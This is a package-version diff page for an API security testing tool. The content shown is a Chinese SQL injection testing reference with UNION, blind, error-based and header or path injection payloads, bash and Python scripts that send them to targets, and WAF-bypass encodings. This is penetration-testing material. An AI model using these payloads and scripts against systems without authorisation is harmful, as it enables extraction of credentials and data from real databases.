opencode-api-security-testing 4.0.1 → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (29) hide show
  1. package/package.json +48 -47
  2. package/postinstall.mjs +69 -40
  3. package/references/references/README.md +72 -0
  4. package/references/references/asset-discovery.md +119 -0
  5. package/references/references/fuzzing-patterns.md +129 -0
  6. package/references/references/graphql-guidance.md +108 -0
  7. package/references/references/intake.md +84 -0
  8. package/references/references/pua-agent.md +192 -0
  9. package/references/references/report-template.md +156 -0
  10. package/references/references/rest-guidance.md +76 -0
  11. package/references/references/severity-model.md +76 -0
  12. package/references/references/test-matrix.md +86 -0
  13. package/references/references/validation.md +78 -0
  14. package/references/references/vulnerabilities/01-sqli-tests.md +1128 -0
  15. package/references/references/vulnerabilities/02-user-enum-tests.md +423 -0
  16. package/references/references/vulnerabilities/03-jwt-tests.md +499 -0
  17. package/references/references/vulnerabilities/04-idor-tests.md +362 -0
  18. package/references/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
  19. package/references/references/vulnerabilities/06-biz-logic-tests.md +501 -0
  20. package/references/references/vulnerabilities/07-security-config-tests.md +511 -0
  21. package/references/references/vulnerabilities/08-brute-force-tests.md +457 -0
  22. package/references/references/vulnerabilities/09-vulnerability-chains.md +465 -0
  23. package/references/references/vulnerabilities/10-auth-tests.md +537 -0
  24. package/references/references/vulnerabilities/11-graphql-tests.md +355 -0
  25. package/references/references/vulnerabilities/12-ssrf-tests.md +396 -0
  26. package/references/references/vulnerabilities/README.md +148 -0
  27. package/references/references/workflows.md +192 -0
  28. package/src/index.ts +153 -25
  29. package/src/src/index.ts +535 -0
@@ -0,0 +1,1128 @@
1
+ # SQL 注入测试
2
+
3
+ ## 1. 概述
4
+
5
+ SQL 注入(SQL Injection)是一种通过将恶意 SQL 代码插入到输入参数中,进而影响后台数据库操作的攻击方式。
6
+
7
+ **危险等级**: 高
8
+
9
+ ## 2. 测试点识别
10
+
11
+ ### 2.1 常见注入点
12
+
13
+ | 参数位置 | 示例 | 说明 |
14
+ |----------|------|------|
15
+ | URL 查询参数 | `/user?id=1` | 路径参数 |
16
+ | POST Body | `username=xxx` | 表单参数 |
17
+ | HTTP Header | `X-Forwarded-For` | 请求头注入 |
18
+ | Cookie | `session_id=xxx` | Cookie 注入 |
19
+
20
+ ### 2.2 危险关键词
21
+
22
+ ```
23
+ search, query, id, page, user, name, pass,
24
+ keyword, id, item, cat, sort, order, filter
25
+ ```
26
+
27
+ ## 3. 测试 Payload
28
+
29
+ ### 3.1 注释绕过
30
+
31
+ ```bash
32
+ # 单行注释
33
+ username=admin'--
34
+ username=admin'#
35
+ username=admin'/*
36
+
37
+ # 多行注释
38
+ username=admin'/*xxx*/--
39
+ ```
40
+
41
+ ### 3.2 OR 绕过
42
+
43
+ ```bash
44
+ # 万能密码
45
+ username=' OR '1'='1
46
+ username=admin' OR '1'='1
47
+ username=' OR 1=1--
48
+
49
+ # 利用 AND
50
+ username=admin' AND 1=1--
51
+ username=admin' AND 1=2--
52
+ ```
53
+
54
+ ### 3.3 UNION 注入
55
+
56
+ ```bash
57
+ # 判断列数
58
+ username=admin' ORDER BY 1--
59
+ username=admin' ORDER BY 2--
60
+ username=admin' ORDER BY 3-- # 报错则列数为2
61
+
62
+ # 获取数据
63
+ username=admin' UNION SELECT null--
64
+ username=admin' UNION SELECT null,null--
65
+ username=admin' UNION SELECT 1,2,3--
66
+ username=admin' UNION SELECT username,password,null FROM users--
67
+ ```
68
+
69
+ ### 3.4 布尔注入
70
+
71
+ ```bash
72
+ # 判断真假
73
+ username=admin' AND 1=1--
74
+ username=admin' AND 1=2--
75
+
76
+ # 获取字符
77
+ username=admin' AND SUBSTRING((SELECT password),1,1)='a'--
78
+ username=admin' AND ASCII(SUBSTRING((SELECT password),1,1))>100--
79
+ ```
80
+
81
+ ### 3.5 时间盲注
82
+
83
+ ```bash
84
+ # MySQL
85
+ username=admin' AND SLEEP(3)--
86
+ username=admin' AND IF(1=1,SLEEP(3),0)--
87
+
88
+ # PostgreSQL
89
+ username=admin'; SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END--
90
+
91
+ # SQL Server
92
+ username=admin'; IF (1=1) WAITFOR DELAY '00:00:03'--
93
+ ```
94
+
95
+ ### 3.6 报错注入
96
+
97
+ ```bash
98
+ # MySQL
99
+ username=admin' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--
100
+ username=admin' AND UPDATEXML(1,CONCAT(0x7e,user()),1)--
101
+
102
+ # Oracle
103
+ username=admin' AND CTXSYS.DRITHSX.SN(user,(1))>0--
104
+ ```
105
+
106
+ ## 4. 数据库指纹识别
107
+
108
+ | 数据库 | 特征 |
109
+ |--------|------|
110
+ | MySQL | `LEN()`, `SUBSTRING()`, `SLEEP()` |
111
+ | PostgreSQL | `pg_sleep()`, `COPY` |
112
+ | SQL Server | `WAITFOR`, `CHARINDEX()` |
113
+ | Oracle | `CTXSYS.DRITHSX.SN()` |
114
+ | SQLite | `LIKE()`, `GLOB()` |
115
+
116
+ ## 5. 判断方法
117
+
118
+ ### 5.1 响应差异
119
+
120
+ ```bash
121
+ # 假条件
122
+ GET /api/user?id=1 AND 1=2
123
+ # 响应:无数据或错误
124
+
125
+ # 真条件
126
+ GET /api/user?id=1 AND 1=1
127
+ # 响应:正常数据
128
+ ```
129
+
130
+ ### 5.2 SQL 错误特征
131
+
132
+ ```json
133
+ {"error": "You have an error in your SQL syntax"}
134
+ {"error": "mysql_fetch"}
135
+ {"error": "ORA-01756"}
136
+ {"error": "Microsoft SQL Native Client error"}
137
+ ```
138
+
139
+ ## 6. 关联漏洞
140
+
141
+ | 后续漏洞 | 利用路径 |
142
+ |----------|----------|
143
+ | 认证绕过 | `' OR '1'='1` 绕过登录 |
144
+ | 数据泄露 | UNION 查询敏感表 |
145
+ | 命令注入 | SELECT INTO OUTFILE 写 Webshell |
146
+ | 横向移动 | 获取管理员密码 Hash |
147
+
148
+ ## 7. 测试检查清单
149
+
150
+ ```
151
+ □ 识别注入点(参数、Header、Cookie)
152
+ □ 测试注释绕过('--, #, /**/)
153
+ □ 测试 OR 绕过(' OR '1'='1)
154
+ □ 测试 UNION 注入(判断列数、获取数据)
155
+ □ 测试布尔注入(SUBSTRING, ASCII)
156
+ □ 测试时间盲注(SLEEP, WAITFOR)
157
+ □ 测试报错注入(EXTRACTVALUE, UPDATEXML)
158
+ □ 识别数据库类型
159
+ □ 判断漏洞存在性
160
+ □ 利用漏洞获取数据
161
+ ```
162
+
163
+ ## 8. SQL注入误报判断标准
164
+
165
+ ### 8.1 核心判断原则
166
+
167
+ ```
168
+ 【重要】不是所有特殊字符返回500都是SQL注入!
169
+
170
+ 判断逻辑:
171
+ 1. 先获取正常响应基准
172
+ 2. 对比注入前后的响应差异
173
+ 3. 差异必须是"SQL错误"而非"参数格式错误"
174
+
175
+ 【真实SQL注入特征】
176
+ - 响应包含SQL错误关键字(syntax, mysql, oracle, sqlite等)
177
+ - 响应结构与正常响应不同(字段消失或增加)
178
+ - 时间盲注确认延时生效
179
+
180
+ 【误报特征】
181
+ - 只是引号/单引号格式问题
182
+ - 返回"参数格式错误"而非数据库错误
183
+ - 响应与正常完全相同(被过滤或转义)
184
+ ```
185
+
186
+ ### 8.2 curl + 对比验证流程
187
+
188
+ ```bash
189
+ # 1. 获取正常响应基准(必须先执行!)
190
+ curl -s "http://api/user?id=1" > sqli_baseline.json
191
+
192
+ # 2. 测试注入后的响应
193
+ curl -s "http://api/user?id=1'" > sqli_test1.json
194
+ curl -s 'http://api/user?id=1" OR "1"="1' > sqli_test2.json
195
+
196
+ # 3. 对比响应差异
197
+ diff sqli_baseline.json sqli_test1.json
198
+
199
+ # 4. SQL错误关键字检测
200
+ grep -iE "(mysql|sql|oracle|sqlite|postgresql|sybase|error in your sql|syntax error|warning|fatal)" sqli_test*.json
201
+
202
+ # 5. 判断标准
203
+ # - 正常响应与注入后响应完全相同 → 可能安全(被过滤)
204
+ # - 注入后响应包含SQL错误关键字 → 确认SQL注入
205
+ # - 注入后响应500但无SQL错误 → 可能是参数校验,非SQL注入
206
+ ```
207
+
208
+ ### 8.3 详细判断流程
209
+
210
+ ```bash
211
+ #!/bin/bash
212
+ # SQL注入判断流程
213
+
214
+ TARGET="http://api/user"
215
+ NORMALResp=$(curl -s "${TARGET}?id=1")
216
+ NORMAL_LEN=${#NORMALResp}
217
+
218
+ echo "=== SQL注入误报判断 ==="
219
+ echo "正常响应长度: $NORMAL_LEN"
220
+ echo "正常响应: $NORMALResp"
221
+ echo ""
222
+
223
+ # 测试各种SQL注入payload
224
+ PAYLOADS=(
225
+ "1'"
226
+ "1 OR 1=1"
227
+ "1' OR '1'='1"
228
+ "1'--"
229
+ "1'#"
230
+ "1' ORDER BY 100--"
231
+ "1' AND SLEEP(3)--"
232
+ )
233
+
234
+ for payload in "${PAYLOADS[@]}"; do
235
+ echo "Testing: ${TARGET}?id=${payload}"
236
+ RESP=$(curl -s -w "\nHTTP_CODE:%{http_code}" "${TARGET}?id=${payload}")
237
+ HTTP_CODE=$(echo "$RESP" | grep "HTTP_CODE:" | cut -d: -f2)
238
+ BODY=$(echo "$RESP" | sed '/HTTP_CODE:/d')
239
+ BODY_LEN=${#BODY}
240
+
241
+ echo " HTTP状态码: $HTTP_CODE"
242
+ echo " 响应长度: $BODY_LEN"
243
+
244
+ # 检查SQL错误关键字
245
+ if echo "$BODY" | grep -qiE "(mysql|sql error|oracle|sqlite|postgresql|sybase|error in your sql|syntax error|warning|fatal|exception)"; then
246
+ echo " [确认SQL注入] 响应包含SQL错误关键字"
247
+ echo " 错误信息: $(echo "$BODY" | grep -iE "(mysql|sql error|oracle|sqlite|postgresql|sybase|error in your sql|syntax error)" | head -1)"
248
+ else
249
+ # 检查响应差异
250
+ if [[ "$BODY_LEN" -eq 0 ]]; then
251
+ echo " [可能安全] 返回空响应"
252
+ elif [[ "$BODY" == "$NORMALResp" ]]; then
253
+ echo " [可能安全] 响应与正常相同(可能被过滤)"
254
+ else
255
+ echo " [需进一步分析] 响应有差异但无SQL错误关键字"
256
+ echo " 响应: ${BODY:0:200}..."
257
+ fi
258
+ fi
259
+ echo ""
260
+ done
261
+ ```
262
+
263
+ ### 8.4 Python脚本(复杂场景)
264
+
265
+ ```python
266
+ import requests
267
+ import time
268
+ import re
269
+
270
+ class SQLiTester:
271
+ def __init__(self, target):
272
+ self.target = target
273
+ self.baseline = None
274
+
275
+ def get_baseline(self, param, value):
276
+ """获取正常响应基准"""
277
+ resp = requests.get(f"{self.target}?{param}={value}")
278
+ self.baseline = {
279
+ 'status': resp.status_code,
280
+ 'body': resp.text,
281
+ 'length': len(resp.text),
282
+ 'time': 0
283
+ }
284
+ return self.baseline
285
+
286
+ def check_sqli_error(self, body):
287
+ """
288
+ 检测响应中是否包含SQL错误
289
+
290
+ 【判断标准】
291
+ 1. 必须包含明确的数据库错误关键字
292
+ 2. 错误必须是"SQL相关"而非"参数格式错误"
293
+ """
294
+ sql_errors = [
295
+ 'mysql', 'mysqli', 'mariadb',
296
+ 'postgresql', 'postgres',
297
+ 'oracle', 'oci',
298
+ 'sqlite', 'sqlite3',
299
+ 'sql server', 'mssql',
300
+ 'sybase', 'db2',
301
+ 'error in your sql', 'sql syntax',
302
+ 'syntax error', 'sql error',
303
+ 'warning:', 'fatal:',
304
+ 'exception', 'stack trace',
305
+ 'oracle error', 'ora-',
306
+ 'microsoft sql native client',
307
+ 'ctsys.drithssx.sn', # Oracle报错注入特征
308
+ 'extractvalue', 'updatexml', # MySQL报错注入
309
+ ]
310
+
311
+ body_lower = body.lower()
312
+ found_errors = []
313
+
314
+ for error in sql_errors:
315
+ if error.lower() in body_lower:
316
+ found_errors.append(error)
317
+
318
+ return found_errors
319
+
320
+ def test_injection(self, param, payload, expected_time=None):
321
+ """
322
+ 测试SQL注入
323
+
324
+ Returns:
325
+ (is_vuln, reason, details)
326
+ """
327
+ start = time.time()
328
+ resp = requests.get(f"{self.target}?{param}={payload}", timeout=30)
329
+ elapsed = time.time() - start
330
+
331
+ # 1. 状态码检查
332
+ if resp.status_code >= 500:
333
+ # 500可能是注入导致数据库错误
334
+ errors = self.check_sqli_error(resp.text)
335
+ if errors:
336
+ return True, f"SQL注入确认(500错误+SQL关键字: {errors})", resp.text[:500]
337
+ else:
338
+ return False, "500错误但无SQL关键字,可能是参数校验失败", None
339
+
340
+ # 2. 响应内容检查
341
+ if self.baseline:
342
+ if resp.text == self.baseline['body']:
343
+ return False, "响应与正常响应完全相同(可能被过滤或转义)", None
344
+
345
+ # 检查SQL错误
346
+ errors = self.check_sqli_error(resp.text)
347
+ if errors:
348
+ return True, f"SQL注入确认(响应包含SQL错误关键字: {errors})", resp.text[:500]
349
+
350
+ # 3. 时间盲注检查
351
+ if expected_time and elapsed >= expected_time:
352
+ return True, f"时间盲注确认(延时{elapsed:.2f}秒)", None
353
+
354
+ # 4. 响应长度异常检查
355
+ if self.baseline:
356
+ length_diff = abs(len(resp.text) - self.baseline['length'])
357
+ if length_diff > 1000: # 长度差异超过1000字节
358
+ return True, f"响应长度异常变化(差异{length_diff}字节)", resp.text[:500]
359
+
360
+ return False, "未发现SQL注入特征", None
361
+
362
+ def run_tests(self, param, value="1"):
363
+ """执行完整SQL注入测试"""
364
+ print(f"\n=== SQL注入测试: {self.target}?{param}={value} ===\n")
365
+
366
+ # 获取基准
367
+ self.get_baseline(param, value)
368
+ print(f"基准响应: {self.baseline['body'][:200]}...\n")
369
+
370
+ # 测试payload
371
+ payloads = [
372
+ ("注释绕过", f"{value}'--"),
373
+ ("OR绕过", f"{value}' OR '1'='1"),
374
+ ("UNION探测", f"{value}' ORDER BY 100--"),
375
+ ("时间盲注", f"{value}' AND SLEEP(3)--"),
376
+ ("报错注入", f"{value}' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--"),
377
+ ]
378
+
379
+ for name, payload in payloads:
380
+ print(f"Testing: {payload}")
381
+ is_vuln, reason, details = self.test_injection(param, payload, expected_time=3 if 'SLEEP' in payload else None)
382
+
383
+ if is_vuln:
384
+ print(f" [VULN] {reason}")
385
+ if details:
386
+ print(f" 响应片段: {details[:200]}")
387
+ else:
388
+ print(f" [SAFE] {reason}")
389
+ print()
390
+
391
+ # 使用示例
392
+ if __name__ == "__main__":
393
+ tester = SQLiTester("http://api/user")
394
+ tester.run_tests("id", "1")
395
+ ```
396
+
397
+ ## 9. 实战判断案例
398
+
399
+ ### 案例1:参数格式错误 vs SQL注入
400
+
401
+ ```
402
+ 【场景】:请求 /api/user?id=1' 返回400
403
+
404
+ 【curl测试】:
405
+ curl -s /api/user?id=1'
406
+ # 返回: {"error": "Invalid parameter format"}
407
+
408
+ 【判断】:
409
+ - 状态码: 400 (不是500)
410
+ - 响应内容: 参数格式错误(不是SQL错误)
411
+ - 结论: 【误报】只是参数校验,不是SQL注入
412
+
413
+ 【正确做法】:
414
+ curl -s /api/user?id=1
415
+ # 返回: {"userId": 1, "name": "admin"}
416
+
417
+ 对比后确认只是参数校验差异,不是SQL注入
418
+ ```
419
+
420
+ ### 案例2:真实SQL注入
421
+
422
+ ```
423
+ 【场景】:请求 /api/user?id=1' 返回500
424
+
425
+ 【curl测试】:
426
+ curl -s /api/user?id=1'
427
+ # 返回: {"error": "You have an error in your SQL syntax;
428
+ # check the manual that corresponds to your MySQL server version..."}
429
+
430
+ 【判断】:
431
+ - 状态码: 500
432
+ - 响应包含: "error in your SQL syntax", "MySQL"
433
+ - 结论: 【确认SQL注入】
434
+ ```
435
+
436
+ ### 案例3:被过滤的注入
437
+
438
+ ```
439
+ 【场景】:请求 /api/user?id=1' OR '1'='1 返回正常数据
440
+
441
+ 【curl测试】:
442
+ curl -s /api/user?id=1' OR '1'='1
443
+ # 返回: {"userId": 1, "name": "admin"}
444
+
445
+ curl -s /api/user?id=1
446
+ # 返回: {"userId": 1, "name": "admin"}
447
+
448
+ 【判断】:
449
+ - 两次响应完全相同
450
+ - 结论: 【误报】注入被过滤或转义,未触发漏洞
451
+ ```
452
+
453
+ ## 10. SQL注入新思路(2026)
454
+
455
+ > 来源:HackerOne 2026年中国区TOP4实战经验
456
+
457
+ ### 10.1 Header注入(重点!)
458
+
459
+ **核心思路**:开发常认为IP由系统传入天然安全,直接拼接进SQL做日志、风控、黑白名单查询,极易产生注入。
460
+
461
+ **重点测试Header**:
462
+ - `X-Forwarded-For`
463
+ - `X-Real-IP`
464
+ - `Client-IP`
465
+ - `X-Client-IP`
466
+
467
+ **测试方法**:
468
+
469
+ ```bash
470
+ # 1. 获取正常响应基准
471
+ curl -s -H "X-Forwarded-For: 1.1.1.1" "http://api/xxx" > header_baseline.json
472
+
473
+ # 2. 测试单引号注入
474
+ curl -s -H "X-Forwarded-For: 1.1.1.1'" "http://api/xxx" > header_sqli1.json
475
+
476
+ # 3. 测试双单引号(关键对比)
477
+ curl -s -H "X-Forwarded-For: 1.1.1.1''" "http://api/xxx" > header_sqli2.json
478
+
479
+ # 4. 对比差异
480
+ diff header_sqli1.json header_sqli2.json
481
+ # 如果A≠B → 可能存在注入
482
+ ```
483
+
484
+ **curl验证脚本**:
485
+ ```bash
486
+ #!/bin/bash
487
+ # Header注入测试脚本
488
+
489
+ TARGET="http://api/user"
490
+ HEADERS=("X-Forwarded-For" "X-Real-IP" "Client-IP" "X-Client-IP")
491
+
492
+ echo "=== Header注入测试 ==="
493
+
494
+ for HEADER in "${HEADERS[@]}"; do
495
+ echo "[测试] $HEADER"
496
+
497
+ # 正常请求
498
+ RESP_A=$(curl -s -H "$HEADER: 1.1.1.1'" "$TARGET")
499
+
500
+ # 单引号 vs 双单引号对比
501
+ RESP_B=$(curl -s -H "$HEADER: 1.1.1.1''" "$TARGET")
502
+
503
+ if [ "$RESP_A" != "$RESP_B" ]; then
504
+ echo " → [疑似漏洞] A≠B,响应有差异"
505
+ echo " A: ${RESP_A:0:100}"
506
+ echo " B: ${RESP_B:0:100}"
507
+
508
+ # 检查SQL错误
509
+ if echo "$RESP_A $RESP_B" | grep -qiE "(sql|mysql|error|syntax)"; then
510
+ echo " → [确认] 包含SQL错误关键字"
511
+ fi
512
+ else
513
+ echo " → [安全] A=B,响应相同"
514
+ fi
515
+ echo ""
516
+ done
517
+ ```
518
+
519
+ ### 10.2 路径注入
520
+
521
+ **核心思路**:放弃只在URL末尾参数Fuzz,改为在路径中间插入单引号测试。部分中间件会直接提取路径片段拼接SQL。
522
+
523
+ **测试方法**:
524
+
525
+ ```bash
526
+ # 原路径
527
+ curl -s "http://api/a/b/c" > path_baseline.json
528
+
529
+ # 路径中间插入单引号对比
530
+ curl -s "http://api/a/b/c'" > path_test1.json
531
+ curl -s "http://api/a/b/c''" > path_test2.json
532
+
533
+ # 判断:A≠B → 可能存在注入
534
+ ```
535
+
536
+ **实战Payload示例**:
537
+ ```http
538
+ GET /serv' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))=1 or '1'='1 HTTP/1.1
539
+ Host: target.com
540
+ ```
541
+
542
+ **curl验证脚本**:
543
+ ```bash
544
+ #!/bin/bash
545
+ # 路径注入测试脚本
546
+
547
+ TARGET="http://api"
548
+ PATHS=("/a/b/c" "/user/list" "/admin/config" "/api/internal")
549
+
550
+ echo "=== 路径注入测试 ==="
551
+
552
+ for PATH in "${PATHS[@]}"; do
553
+ echo "[测试] $PATH"
554
+
555
+ # 原始路径
556
+ RESP_ORIG=$(curl -s "${TARGET}${PATH}")
557
+
558
+ # 路径+单引号
559
+ RESP_TEST1=$(curl -s "${TARGET}${PATH}'")
560
+
561
+ # 路径+双单引号(关键对比)
562
+ RESP_TEST2=$(curl -s "${TARGET}${PATH}''")
563
+
564
+ if [ "$RESP_TEST1" != "$RESP_TEST2" ]; then
565
+ echo " → [疑似漏洞] 路径注入可能"
566
+ echo " 单引号响应: ${RESP_TEST1:0:100}"
567
+ echo " 双引号响应: ${RESP_TEST2:0:100}"
568
+ else
569
+ echo " → [安全] 响应相同"
570
+ fi
571
+ echo ""
572
+ done
573
+ ```
574
+
575
+ ### 10.3 隐藏参数/跨接口参数复用(核心技巧!)
576
+
577
+ **核心思路**:把A接口的参数强行拼到B接口测试。后端函数常公用,部分参数前端不传但后端仍接收,因无人调用而未做过滤。
578
+
579
+ **操作步骤**:
580
+ 1. 从JS/接口文档提取所有接口
581
+ 2. 把已知参数串拼到其他接口后
582
+ 3. 用 `'` vs `''` 对比测试
583
+
584
+ **测试方法**:
585
+
586
+ ```bash
587
+ # 1. 假设从JS中发现接口 /api/user/list 有参数 userId
588
+ # 2. 把 userId 参数拼到其他接口测试
589
+
590
+ # 测试 /api/internal/config 是否接收 userId 参数
591
+ curl -s "http://api/internal/config?userId=1'" > hidden_test1.json
592
+ curl -s "http://api/internal/config?userId=1''" > hidden_test2.json
593
+
594
+ # 测试 limit 参数复用
595
+ curl -s "http://api/internal/config?limit='&xxxid='" > hidden_test3.json
596
+ curl -s "http://api/internal/config?limit=''&xxxid=''" > hidden_test4.json
597
+
598
+ # 判断:A≠B → 可能存在注入
599
+ ```
600
+
601
+ **curl验证脚本**:
602
+ ```bash
603
+ #!/bin/bash
604
+ # 跨接口隐藏参数注入测试脚本
605
+
606
+ TARGET="http://api"
607
+
608
+ echo "=== 跨接口隐藏参数测试 ==="
609
+
610
+ # 常用参数(从JS/API文档提取的)
611
+ PARAMS=("userId" "id" "limit" "offset" "page" "keyword" "type" "category" "status")
612
+
613
+ # 目标接口(应重点测试内部/隐藏接口)
614
+ ENDPOINTS=("/internal/config" "/admin/system" "/api/common" "/backend/db" "/api/private")
615
+
616
+ for ENDPOINT in "${ENDPOINTS[@]}"; do
617
+ echo "[测试接口] $ENDPOINT"
618
+
619
+ for PARAM in "${PARAMS[@]}"; do
620
+ # 参数=单引号 vs 参数=双单引号
621
+ RESP1=$(curl -s "${TARGET}${ENDPOINT}?${PARAM}='")
622
+ RESP2=$(curl -s "${TARGET}${ENDPOINT}?${PARAM}=''")
623
+
624
+ if [ "$RESP1" != "$RESP2" ]; then
625
+ echo " → [疑似漏洞] 参数 ${PARAM}"
626
+ echo " 单引号: ${RESP1:0:80}"
627
+ echo " 双引号: ${RESP2:0:80}"
628
+ fi
629
+ done
630
+ echo ""
631
+ done
632
+ ```
633
+
634
+ ### 10.4 新思路对比表
635
+
636
+ | 测试类型 | 测试表达式 | 差异判断 |
637
+ |---------|-----------|----------|
638
+ | XFF注入 | 原始请求 vs `X-Forwarded-For: 1.1.1.1'` | A≠B → 可能注入 |
639
+ | 路径注入 | `/a/b/c'` vs `/a/b/c''` | A≠B → 可能注入 |
640
+ | 隐藏参数 | `limit='` vs `limit=''` | A≠B → 可能注入 |
641
+
642
+ ### 10.5 新思路Python脚本
643
+
644
+ ```python
645
+ import requests
646
+ import itertools
647
+
648
+ class NewSQLiTester:
649
+ """
650
+ SQL注入新思路测试器(2026)
651
+ 1. Header注入
652
+ 2. 路径注入
653
+ 3. 隐藏参数/跨接口复用
654
+ """
655
+
656
+ def __init__(self, target):
657
+ self.target = target
658
+ self.baseline = None
659
+
660
+ def test_header_injection(self, endpoint, header_name="X-Forwarded-For"):
661
+ """测试Header注入"""
662
+ print(f"\n[Header注入] {header_name}")
663
+
664
+ # 测试不同payload
665
+ payloads = ["'", "''", "' OR '1'='1", "1' AND SLEEP(3)--"]
666
+ results = []
667
+
668
+ for payload in payloads:
669
+ headers = {header_name: f"1.1.1.1{payload}"}
670
+ try:
671
+ resp = requests.get(f"{self.target}{endpoint}", headers=headers, timeout=10)
672
+ results.append({
673
+ 'payload': payload,
674
+ 'status': resp.status_code,
675
+ 'length': len(resp.text),
676
+ 'body_preview': resp.text[:100]
677
+ })
678
+ except Exception as e:
679
+ results.append({'payload': payload, 'error': str(e)})
680
+
681
+ # 判断:payload不同但响应不同 → 疑似注入
682
+ if len(set(r.get('length', 0) for r in results)) > 1:
683
+ return True, "Header注入疑似存在", results
684
+ return False, "未发现异常", results
685
+
686
+ def test_path_injection(self, path):
687
+ """测试路径注入"""
688
+ print(f"\n[路径注入] {path}")
689
+
690
+ # 在路径末尾插入单引号测试
691
+ test_paths = [f"{path}'", f"{path}''", f"{path}' OR '1'='1"]
692
+ results = []
693
+
694
+ for test_path in test_paths:
695
+ try:
696
+ resp = requests.get(f"{self.target}{test_path}", timeout=10)
697
+ results.append({
698
+ 'path': test_path,
699
+ 'status': resp.status_code,
700
+ 'length': len(resp.text),
701
+ 'body_preview': resp.text[:100]
702
+ })
703
+ except Exception as e:
704
+ results.append({'path': test_path, 'error': str(e)})
705
+
706
+ # 判断:不同路径但响应不同 → 疑似注入
707
+ lengths = [r.get('length', 0) for r in results]
708
+ if len(set(lengths)) > 1:
709
+ return True, "路径注入疑似存在", results
710
+ return False, "未发现异常", results
711
+
712
+ def test_hidden_params(self, endpoint, known_params):
713
+ """测试隐藏参数注入(跨接口复用)"""
714
+ print(f"\n[隐藏参数] {endpoint}")
715
+
716
+ results = []
717
+
718
+ for param in known_params:
719
+ # 单引号 vs 双单引号
720
+ for payload in ["'", "''"]:
721
+ url = f"{self.target}{endpoint}?{param}={payload}"
722
+ try:
723
+ resp = requests.get(url, timeout=10)
724
+ results.append({
725
+ 'param': param,
726
+ 'payload': payload,
727
+ 'status': resp.status_code,
728
+ 'length': len(resp.text)
729
+ })
730
+ except Exception as e:
731
+ results.append({'param': param, 'payload': payload, 'error': str(e)})
732
+
733
+ # 判断:同一参数不同payload但响应相同 → 可能安全
734
+ # 判断:同一参数不同payload但响应不同 → 疑似注入
735
+ param_results = {}
736
+ for r in results:
737
+ if 'error' not in r:
738
+ param = r['param']
739
+ if param not in param_results:
740
+ param_results[param] = []
741
+ param_results[param].append(r['length'])
742
+
743
+ vulns = []
744
+ for param, lengths in param_results.items():
745
+ if len(set(lengths)) > 1:
746
+ vulns.append(param)
747
+
748
+ if vulns:
749
+ return True, f"隐藏参数注入疑似存在: {vulns}", results
750
+ return False, "未发现异常", results
751
+
752
+ def run_all_tests(self):
753
+ """执行完整新思路测试"""
754
+ print("=" * 50)
755
+ print("SQL注入新思路测试(2026)")
756
+ print("=" * 50)
757
+
758
+ # 1. Header注入测试
759
+ print("\n>>> 1. Header注入测试")
760
+ is_vuln, reason, _ = self.test_header_injection("/user/list")
761
+ print(f"结果: {reason}")
762
+
763
+ # 2. 路径注入测试
764
+ print("\n>>> 2. 路径注入测试")
765
+ paths = ["/a/b/c", "/user/list", "/admin/config"]
766
+ for path in paths:
767
+ is_vuln, reason, _ = self.test_path_injection(path)
768
+ if is_vuln:
769
+ print(f" {path}: {reason}")
770
+
771
+ # 3. 隐藏参数测试
772
+ print("\n>>> 3. 隐藏参数测试")
773
+ params = ["userId", "id", "limit", "page"]
774
+ endpoints = ["/internal/config", "/admin/system", "/api/common"]
775
+ for ep in endpoints:
776
+ is_vuln, reason, _ = self.test_hidden_params(ep, params)
777
+ if is_vuln:
778
+ print(f" {ep}: {reason}")
779
+
780
+ # 使用示例
781
+ if __name__ == "__main__":
782
+ tester = NewSQLiTester("http://api")
783
+ tester.run_all_tests()
784
+ ```
785
+
786
+ ### 10.6 实战测试注意事项
787
+
788
+ ```
789
+ 【重要提醒】
790
+
791
+ 1. Header注入优先级最高
792
+ - 开发常忽略IP字段的过滤
793
+ - 常用于日志、风控、黑白名单查询
794
+ - 实际漏洞率较高
795
+
796
+ 2. 路径注入需重点关注
797
+ - 关注报错信息中的物理路径
798
+ - 国外SRC奖励约200美元
799
+
800
+ 3. 隐藏参数测试技巧
801
+ - 从JS文件提取所有参数名
802
+ - 尝试把参数拼到内部接口
803
+ - 前端不传 ≠ 后端不收
804
+ - 无人测试 ≠ 无漏洞
805
+ ```
806
+
807
+ ## 11. WAF绕过方法
808
+
809
+ > 参考:security-testing/payloader WAF bypass techniques
810
+
811
+ ### 11.1 大小写混淆
812
+
813
+ ```bash
814
+ # 原型
815
+ ' UNION SELECT 1,database(),3--
816
+
817
+ # 绕过:大小写混合
818
+ ' UnIoN SeLeCt 1,database(),3--
819
+ ' uNiOn SeLeCt 1,user(),3--
820
+ ```
821
+
822
+ ### 11.2 内联注释
823
+
824
+ ```bash
825
+ # 原型
826
+ ' UNION SELECT 1,2,3--
827
+
828
+ # 绕过:使用内联注释
829
+ ' /*!UNION*/ /*!SELECT*/ 1,2,3--
830
+ ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
831
+ '/*!12345UNION*/(/*!12345SELECT*/1,2,3)--
832
+ ```
833
+
834
+ ### 11.3 双写绕过
835
+
836
+ ```bash
837
+ # 原型
838
+ ' UNION SELECT 1,2,3--
839
+
840
+ # 绕过:关键字双写
841
+ ' UNUNIONION SELSELECTECT 1,2,3--
842
+ ' UNIunionON SELselectECT 1,2,3--
843
+ ```
844
+
845
+ ### 11.4 空格替代
846
+
847
+ ```bash
848
+ # 原型
849
+ ' UNION SELECT 1,2,3--
850
+
851
+ # 绕过:多种空格替代
852
+ '/**/UNION/**/SELECT/**/1,2,3--
853
+ ' %0aUNION%0aSELECT%0a1,2,3--
854
+ '%0bUNION%0bSELECT%0b1,2,3--
855
+ '%09UNION%09SELECT%091,2,3--
856
+ '%a0UNION%a0SELECT%a01,2,3--
857
+ '(UNION(SELECT(1),(2),(3)))--
858
+ ```
859
+
860
+ ### 11.5 编码绕过
861
+
862
+ ```bash
863
+ # URL编码
864
+ ' UNION SELECT 1,2,3-- → %27%20UNION%20SELECT%201,2,3--
865
+
866
+ # 双重URL编码
867
+ ' → %2527
868
+
869
+ # 十六进制编码
870
+ ' → 0x27
871
+ ' UNION SELECT → 0x2720554e494f4e2053454c454354
872
+
873
+ # Unicode编码
874
+ ' → %u0027
